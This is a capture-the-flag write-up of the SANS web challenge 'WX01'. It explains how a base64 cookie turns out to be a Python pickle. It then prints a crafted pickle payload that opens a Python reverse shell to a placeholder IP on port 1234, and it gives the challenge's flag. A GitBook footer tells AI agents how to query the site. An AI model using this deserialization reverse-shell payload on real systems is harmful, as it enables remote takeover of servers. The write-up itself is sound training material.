> For the complete documentation index, see [llms.txt](https://kf0k-blog.gitbook.io/ctf/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kf0k-blog.gitbook.io/ctf/writups/sans/web/wx01.md).

# WX01

## **About The Challenge**

| Type | Difficulty |
| ---- | ---------- |
| Web  | eXtreme    |

## Solution

The last web challenge was a bit hard and it mostly depends on enumeration and researching. 

![](/files/-MO7_xtt1Le0fwpgYKTt)

![](/files/-MO7c34O5gjOjWvjj-MM)

From the home page it asking for our name, by entering any name the page will show the message `Reload for your greeting...`  nothing interesting here.

![](/files/-MO7amtRJbWu2y96KR1h)

By looking at the cookies I found that their is cookie stored on the website and presence in the request. The value of the cookie is `KGRwMApWbmFtZQpwMQpWdGV0cwpwMgpzLg==`which is base64 encoded and the decoded base64 value is: 

```
(dp0
Vname
p1
Vtets
p2
s.
```

![](/files/-MO7bve52G_-GaVL4rKb)

After researching I found the decoded value is python library called Pickle and it is having remote code execution vulnerability. 

After I identifying that the code is vulnerable to RCE I inject a reverse shell into the code using the following command:

```
cos
system
(S'python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
tR.
```

Then I base64 encode it. 

![](/files/-MO7eAJd6Vfo1INiOxpQ)

Finally I entered my base64 encoded text into the input then I got the flag. 

{% hint style="info" %}
Here I created a netcat listener on my machine in order to get a reverse shell but surprisingly I got the flag from the website as output.   
{% endhint %}

**Flag is:** whaTaPiCKle-018817


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kf0k-blog.gitbook.io/ctf/writups/sans/web/wx01.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.